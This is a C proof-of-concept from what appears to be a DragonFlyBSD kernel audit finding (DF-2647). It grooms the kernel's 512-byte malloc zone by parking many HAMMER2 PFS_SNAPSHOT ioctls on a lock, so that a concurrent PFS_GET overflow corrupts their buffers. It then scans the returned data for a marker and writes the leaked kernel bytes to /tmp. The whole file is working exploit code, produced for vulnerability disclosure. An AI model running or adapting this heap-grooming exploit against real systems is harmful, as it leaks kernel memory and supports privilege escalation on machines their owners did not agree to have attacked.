DragonFlyBSD Kernel Audit
DF-2647 / pfsnap_victim.c
← back to finding ↓ download raw
/*
 * DF-2647 deterministic parked-victim wall.
 *
 * Each thread runs HAMMER2IOC_PFS_SNAPSHOT, which takes hmp->bulklk and
 * then syncs the whole filesystem (hammer2_ioctl.c:835-849) -- i.e. the
 * ioctl's 320-byte kmalloc'd M_IOCTLOPS buffer stays LIVE in the kernel
 * (512-byte malloc zone, same zone as PFS_GET's buffer) for a long time.
 * N threads park on bulklk (serialized) => a wall of live victim buffers
 * in the 512-zone slabs.  A concurrent PFS_GET scan (the smear) that
 * lands below any of them overwrites its name[] with image bytes; the
 * copyout at ioctl end returns them to this thread.
 *
 * usage: pfsnap_victim <mountpoint-dir> <nthreads>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/types.h>

struct df2647_pfs {
	uint64_t	name_key;
	uint64_t	name_next;
	uint8_t		pfs_type;
	uint8_t		pfs_subtype;
	uint8_t		reserved0012;
	uint8_t		reserved0013;
	uint32_t	pfs_flags;
	uint64_t	reserved0018;
	unsigned char	pfs_fsid[16];
	unsigned char	pfs_clid[16];
	char		name[256];
};
#define DF2647_PFS_SNAPSHOT	_IOWR('h', 84, struct df2647_pfs)

static const char stamp[8] = "DF2647!!";
static volatile int hits = 0;

static void *
thr(void *arg)
{
	long id = (long)arg;
	struct df2647_pfs pfs;
	int fd, i, j;
	char nm[32];

	snprintf(nm, sizeof(nm), "sv%03ld", id);
	fd = open(getenv("DF2647_MNT") ? getenv("DF2647_MNT") : "/mnt/h2",
		  O_RDONLY);
	if (fd < 0) {
		perror("open");
		return NULL;
	}
	memset(&pfs, 0, sizeof(pfs));
	snprintf(pfs.name, sizeof(pfs.name), "%s", nm);
	if (ioctl(fd, DF2647_PFS_SNAPSHOT, &pfs) != 0)
		fprintf(stderr, "victim %s: snapshot errno=%d (%s)\n",
		    nm, errno, strerror(errno));
	/* scan the whole returned buffer for the smear marker */
	for (i = 0; i < (int)sizeof(pfs) - 8; ++i) {
		for (j = 0; j < 8; ++j)
			if (((char *)&pfs)[i + j] != stamp[j])
				break;
		if (j == 8) {
			FILE *f;
			char fn[64];
			__sync_fetch_and_add(&hits, 1);
			printf("victim %s: MARKER HIT at buffer+%d "
			    "(errno-note above may apply)\n", nm, i);
			fflush(stdout);
			snprintf(fn, sizeof(fn), "/tmp/victim_hit_%s.txt", nm);
			f = fopen(fn, "w");
			if (f) {
				fprintf(f, "hit_at_offset=%d\n", i);
				fwrite(&pfs, sizeof(pfs), 1, f);
				fclose(f);
			}
			break;
		}
	}
	close(fd);
	return NULL;
}

int
main(int argc, char **argv)
{
	pthread_t t[512];
	long i, n;
	int rc;

	if (argc < 3) {
		fprintf(stderr, "usage: %s <mnt> <nthreads>\n", argv[0]);
		return 2;
	}
	setenv("DF2647_MNT", argv[1], 1);
	n = atol(argv[2]);
	if (n > 512)
		n = 512;
	printf("pfsnap_victim: launching %ld parked snapshots\n", n);
	fflush(stdout);
	for (i = 0; i < n; ++i) {
		rc = pthread_create(&t[i], NULL, thr, (void *)i);
		if (rc) {
			printf("pthread_create failed at %ld: %d\n", i, rc);
			n = i;
			break;
		}
	}
	for (i = 0; i < n; ++i)
		pthread_join(t[i], NULL);
	printf("pfsnap_victim: done, hits=%d\n", hits);
	return (hits != 0);
}